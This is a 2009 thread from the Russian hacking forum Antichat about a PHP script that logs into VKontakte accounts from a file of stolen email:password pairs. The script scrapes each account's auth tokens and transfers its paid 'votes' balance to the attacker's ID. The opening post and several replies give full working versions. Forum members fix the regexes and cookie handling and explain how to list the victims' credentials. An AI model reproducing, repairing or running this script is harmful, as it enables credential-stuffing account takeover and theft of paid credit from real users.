Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Скрипт для слива голосов с аккаунтов (рабочий) (https://forum.antichat.xyz/showthread.php?t=140483)

-=MeDved=- 10.09.2009 01:00

Скрипт для слива голосов с аккаунтов (рабочий)
 
PHP код:

<?php 
set_time_limit
(0); 
error_reporting(1); 
$to "1"// vote to id 

function curl($url,$post

    
#echo "<br> $url | $post <br>\n"; 
    
$cfile 'cookies.txt'
    
$ch curl_init(); 
    
curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    
curl_setopt($chCURLOPT_URL$url); 
    
curl_setopt($chCURLOPT_HEADER0); 
    
curl_setopt($chCURLOPT_POSTFIELDS$post); 
    
curl_setopt($chCURLOPT_COOKIEJAR$cfile); 
    
curl_setopt($chCURLOPT_COOKIEFILE$cfile); 
    
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue); 
    
curl_setopt($chCURLOPT_POST1); 
    
$result curl_exec($ch); 
    
curl_close($ch); 
    return 
$result

function 
transfer_vote($email,$pass,$to){ 
    
$result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); 
    
$result curl("http://vkontakte.ru/app614422",""); 
    
preg_match("/viewer_id\: \"(.*?)\"/i"$result$user_id); 
    
preg_match("/balance = (.*?);/i"$result$vote);
    
preg_match("/join(.*?)'>/i"$result$appsl); 
    
preg_match("/app_id = (.*?);/i"$result$app_id); 
    
preg_match("/app_hash = '(.*?)';/i"$result$app_hash); 
    
preg_match("/auth_key\: \"(.*?)\"/i"$result$auth_key); 
        if (
$vote['1'] >= "1") { 
        echo 
"#Спиздили ".$vote['1']." VOTE...<br>"
        
flush(); 
        @
ob_flush(); 
        
$result curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=614422&app_hash=".$app_hash['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0"); 
        
$result curl("http://api.vkontakte.fi/votes.php?uid_from=".$user_id['1']."&uid_to=".$to."&votes=".$vote['1']."00&auth=".$auth_key['1']); 
        echo 
"#Всё ok...<br>"
        } 
        else { 
        echo 
"#Нету голосов на акке(<br>"
        
$result false;
        } 
    
flush(); 
    @
ob_flush(); 
    return 
$result

echo 
"<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;b        order:1px solid #404040;background-color:#221;}red{color:#FF0000}</style> "
$is_aks is_file  ("votes.txt"); 
if(
$is_aks != 1){ 
    die(
'Нету файла с аккаунтами! Создайте файл votes.txt с аккаунтами в виде email@mail.com:password'); 

$aks file("votes.txt"); // AC file, login:pass 
foreach($aks as $k => $v){ 
$ak explode(":"trim($v)); 
echo 
"<b>--Логинимся--<br>E-mail:".$ak['0'].";password:".$ak['1']."<br>"
$vote_res transfer_vote($ak['0'],$ak['1'],$to); 
echo 
"------------------------------------------<br>"
flush(); 
@
ob_flush(); 

?>

Скрипт позволяюший передавать голоса с базы аккаунтов на 1 ID
Работает через это приложение http://vkontakte.ru/app614422 (не банят)
Для работы требуються текстовик votes.txt в котором и будут аккаунты через :
Единственный минус (для меня) не правельно показываеться статистика кто исправит буду блогодарен!
[+]приложение на аккаунт не добавляеться !
Для локального запуска подойдет VertrigoServ

min7 10.09.2009 01:15

Сейчас затестим, спасибо

mr_Serega 10.09.2009 01:23

спс,но у меня ошибку выдает
Warning: Missing argument 2 for curl(), called in D:\Program Files\VertrigoServ\www\test\index.php on line 41 and defined in D:\Program Files\VertrigoServ\www\test\index.php on line 5
в чем проблема может заключаться?

Миxей 10.09.2009 01:24

Респект и уважуха ;)
Вот это нужная вещь ! ! !

Миxей 10.09.2009 01:30

только вопрос: приложение app614422 должно быть установлено у жертвы, или только у меня ?

-=MeDved=- 10.09.2009 01:31

Цитата:

Сообщение от Миxей
только вопрос: приложение app614422 должно быть установлено у жертвы, или только у меня ?

Только у тебя

mr_Serega 10.09.2009 10:14

А ты какой хост используешь для скрипта???

Миxей 10.09.2009 16:54

да ТС , кстати , что эт за ошибка может быть ???

Warning: Missing argument 2 for curl(), called in C:\Program Files\VertrigoServ\www\my\index.php on line 41 and defined in C:\Program Files\VertrigoServ\www\my\index.php on line 5
#Ошибка:Нет голосов наверное =(...

_Spamer_ 10.09.2009 22:59

переделай под новую логинизацию

*DeViL* 12.09.2009 13:04

Цитата:

Сообщение от _Spamer_
переделай под новую логинизацию

+1

Ty3uK 14.09.2009 23:31

скрипт отлично работает с новой авторизацией...
кстати приложение ни у кого не должно быть установлено! проверено!

исправил скрипт ТС. исправил статистику, ошибку после каждого акка, прокомментировал отсутствие votes.txt

Код:

<?php
set_time_limit(0);
error_reporting(1);
$to = "АЙДИ НА КОТОРЫЙ ПЕРЕДАВАТЬ ГОЛОСА"; // vote to id

function curl($url,$post)
{
//echo "$url | $post <br>\n";
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
function transfer_vote($email,$pass,$to){
$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
$result = curl("http://vkontakte.ru/app614422","");
preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id);
preg_match("/balance = (.*?);/i", $result, $vote);
preg_match("/join(.*?)'>/i", $result, $appsl);
preg_match("/app_id = (.*?);/i", $result, $app_id);
preg_match("/app_hash = '(.*?)';/i", $result, $app_hash);
preg_match("/auth_key\", \"(.*?)\"/i", $result, $auth_key);
    if ($vote['1'] >= "1") {
    echo "#Спиздили ".$vote['1']." VOTE...<br>";
    echo "#Всё ok...<br>";
    }
    else {
    echo "#Нету голосов на акке(<br>";
    }
flush();
@ob_flush();
$result = curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=614422&app_hash=".$app_hash['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0");
$result = curl("http://api.vkontakte.fi/votes.php?uid_from=".$user_id['1']."&uid_to=".$to."&votes=".$vote['1']."&auth=".$auth_key['1']);
return $result;
}
echo "<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;b  order:1px solid #404040;background-color:#221;}red{color:#FF0000}</style> ";
$is_aks = is_file  ("votes.txt");
if($is_aks != 1){
    die('Нету файла с аккаунтами! Создайте файл votes.txt с аккаунтами в виде email@mail.com:password');
}
$aks = file("votes.txt"); // AC file, login:pass
foreach($aks as $k => $v){
$ak = explode(":", trim($v));
echo "<b>--Логинимся--<br>E-mail:".$ak['0'].";password:".$ak['1']."<br>";
$vote_res = transfer_vote($ak['0'],$ak['1'],$to);
echo "------------------------------------------<br>";
flush();
@ob_flush();
}
?>


-=MeDved=- 17.09.2009 06:55

Спасибо большое ! исправил 1 й пост !

Ponchik 20.09.2009 23:27

Я не понимаю, ну никак!
preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id);
И у вас это работает?!
Да, я поднимаю тему, я немогу врубиться, во всех скриптах используются регулярки
"option", "value"
хотя у вконтакта
option: "value"

Не работает:
preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id);

Работает:
preg_match("/viewer_id\: \"(.*?)\"/i", $result, $user_id);

Или вконтакт для россии выдаёт "option", "value" а для других стран oprion: "value"
или как это понимать, потмоучто везде вижу эти ошибки в регулярках, но начал подохревать что у вас "option", "value"

Если кто меня понял, ответьте, у вас "option", "value" или option: "value"

DimOnOID 20.09.2009 23:41

Я не знаю у кого этот скрипт работает...
preg_match("/viewer_id=(.*?)&/i", $result, $user_id);
preg_match("/auth_key=(.*?)&/i", $result, $auth_key);
так тоже можно.
в скрипте ещё при передаче $vote['1'] нужно умножить на 100.
стата тут глюченная..

Ponchik 21.09.2009 00:06

Да я говорю имено про эту регулярку
preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id);
Она расчитана на текст
"viewer_id", "123456"

Но у меня на всех акках отображается так
viewer_id: "123456"

Но я уже видел и исправлял минимум 5 скриптов с такими регулярками, и что-то мне кажется что в россии видно "viewer_id", "123456" а для других стран viewer_id: "123456"
Лан, забейте, я вод себя всё переписал и гуд

там ещё кстате где он запрашивает api.vkontakte.fi это надо перенести после if ($vote['1'] >= "1") ато лищний трафф

AlexV 21.09.2009 01:17

Так кто-нибудь может переписать норм скрипт для передачи?

Ponchik 21.09.2009 01:47

Ну вот я под себя переделал, но ещё раз говорю, у меня option: "value"
PHP код:

<?php 
set_time_limit
(0); 
error_reporting(1); 
$to "1"// vote to id 

function curl($url,$post

    
#echo "<br> $url | $post <br>\n"; 
    
$cfile 'cookies.txt'
    
$ch curl_init(); 
    
curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    
curl_setopt($chCURLOPT_URL$url); 
    
curl_setopt($chCURLOPT_HEADER0); 
    
curl_setopt($chCURLOPT_POSTFIELDS$post); 
    
curl_setopt($chCURLOPT_COOKIEJAR$cfile); 
    
curl_setopt($chCURLOPT_COOKIEFILE$cfile); 
    
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue); 
    
curl_setopt($chCURLOPT_POST1); 
    
$result curl_exec($ch); 
    
curl_close($ch); 
    return 
$result

function 
transfer_vote($email,$pass,$to){ 
    
$result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); 
    
$result curl("http://vkontakte.ru/app614422",""); 
    
preg_match("/viewer_id\: \"(.*?)\"/i"$result$user_id); 
    
preg_match("/balance = (.*?);/i"$result$vote);
    
preg_match("/join(.*?)'>/i"$result$appsl); 
    
preg_match("/app_id = (.*?);/i"$result$app_id); 
    
preg_match("/app_hash = '(.*?)';/i"$result$app_hash); 
    
preg_match("/auth_key\: \"(.*?)\"/i"$result$auth_key); 
        if (
$vote['1'] >= "1") { 
        echo 
"#Спиздили ".$vote['1']." VOTE...<br>"
        
flush(); 
        @
ob_flush(); 
        
$result curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=614422&app_hash=".$app_hash['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0"); 
        
$result curl("http://api.vkontakte.fi/votes.php?uid_from=".$user_id['1']."&uid_to=".$to."&votes=".$vote['1']."00&auth=".$auth_key['1']); 
        echo 
"#Всё ok...<br>"
        } 
        else { 
        echo 
"#Нету голосов на акке(<br>"
        
$result false;
        } 
    
flush(); 
    @
ob_flush(); 
    return 
$result

echo 
"<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;b      order:1px solid #404040;background-color:#221;}red{color:#FF0000}</style> "
$is_aks is_file  ("votes.txt"); 
if(
$is_aks != 1){ 
    die(
'Нету файла с аккаунтами! Создайте файл votes.txt с аккаунтами в виде email@mail.com:password'); 

$aks file("votes.txt"); // AC file, login:pass 
foreach($aks as $k => $v){ 
$ak explode(":"trim($v)); 
echo 
"<b>--Логинимся--<br>E-mail:".$ak['0'].";password:".$ak['1']."<br>"
$vote_res transfer_vote($ak['0'],$ak['1'],$to); 
echo 
"------------------------------------------<br>"
flush(); 
@
ob_flush(); 

?>


Chaak 21.09.2009 16:24

Кто автор скрипта?

Ty3uK 21.09.2009 23:22

Цитата:

Сообщение от DimOnOID
в скрипте ещё при передаче $vote['1'] нужно умножить на 100.
стата тут глюченная..

ничё домножать не надо, я тоже думал что надо но оно отдаёт всё верно) проверял
Цитата:

Сообщение от AlexV
Так кто-нибудь может переписать норм скрипт для передачи?

дык он у меня отлично работает, та версия что я немного исправил
Цитата:

Сообщение от Chaak
Кто автор скрипта?

может -=MeDved=-, а может и нет...

Ponchik 21.09.2009 23:41

Цитата:

Сообщение от Ty3uK
ничё домножать не надо, я тоже думал что надо но оно отдаёт всё верно) проверял

Да нет, надо!
Если на акке 1 голос, придёт 0.01 надо умножить на 100 и придёт 1 как надо

Цитата:

Сообщение от Ty3uK
дык он у меня отлично работает, та версия что я немного исправил

У него там траблы с куками были
Если у вас пишет нет голосов, даже если они есть, создайте cookies.txt с правами 777

И уберите
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
оно жрёт лишний траф, и оно там ненадо
И error_reporting(1); вобще бред какой-то (не, ну может не бред, я значения констант незнаю)
Замените на error_reporting(E_ALL ^ E_NOTICE);

DimOnOID 22.09.2009 10:36

Цитата:

Сообщение от Chaak
Кто автор скрипта?

http://forum.antichat.ru/showthread.php?t=122409

Ty3uK 22.09.2009 17:23

у меня к примеру отдаёт без домножения номально, 4 голоса к примеру. с умножением 400 отдаёт...

error_reporting(1) там нада, т.к. мне лень было исправлять проблему с курлом)

=Zeus= 22.09.2009 19:55

Спасибо, скрипт просто атас, все ок работает.
Как говорил Пончик, убрал curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
Айди у меня в формате viewer_id: "123456"
На 100 не умножал.

А можно его в нескольких окнах открыть - типа многопоточность? Или ничего не получится? :confused:
Попробовал - вроде работает.

666666 22.09.2009 19:58

попробывал - всё гуд. спс тс.

NDPrince 26.09.2009 22:28

ребят, у кого работает скрипт, отпищитесь, в личку!

Ty3uK 27.09.2009 00:14

у меня работает...

soxer 01.10.2009 23:49

странно пишет всё время что нет голосв на акке =(((

bro's 02.10.2009 10:44

объясните плиз как им пользоваться нормально а то догнать никак не могу

где писать у кого тырить и де писать своё мыло и пасс??

L E X X 02.10.2009 16:24

Цитата:

странно пишет всё время что нет голосв на акке =(((
то же самое(

Цитата:

где писать у кого тырить и де писать своё мыло и пасс??
Те у кого тырить кидаешь в votes.txt в виде Логин:Пароль
Своё мыло и пасс не нужны - просто указываешь id на который кидать голоса...

Но я не уверен - но щас чё то не то со скриптом) Ну можешь попробовать) Потом отпишешься)

-=MeDved=- 26.10.2009 21:42

Вроде не работает ! пробывал часть акков удачно часть ! нет

AquaKlaster 05.11.2009 17:44

Проверил только что всё работает на ура!

see[a]ttack 02.12.2009 17:17

А у меня пишет --Логинимся-- и всё...данные верные,голоса на акке есть.В чём может быть проблема?

see[a]ttack 02.12.2009 17:42

Если у кого полностью рабочий на данный момент?

see[a]ttack 02.12.2009 18:14

На локалке кидает вот эту ошибку

Fatal error: Call to undefined function curl_init() in Z:\home\localhost\www\votes.php on line 10

b3 02.12.2009 18:35

Цитата:

На локалке кидает вот эту ошибку

Fatal error: Call to undefined function curl_init() in Z:\home\localhost\www\votes.php on line 10
http://php.net/curl

see[a]ttack 02.12.2009 19:19

Хм,терь сработало,написало тип голоса спи...ны,но на приложения они не упали.Подскажите как быть!

Deathdreams 03.12.2009 16:30

Возможно апи в приложении изменён.

VETACH 15.12.2009 14:14

Цитата:

Сообщение от see[a]ttack
Хм,терь сработало,написало тип голоса спи...ны,но на приложения они не упали.Подскажите как быть!

аналогичная ситуевина. кто то знает решение проблемы?

prodamxd 08.01.2010 19:56

есть у кого актуальный? стучите...


Время: 23:56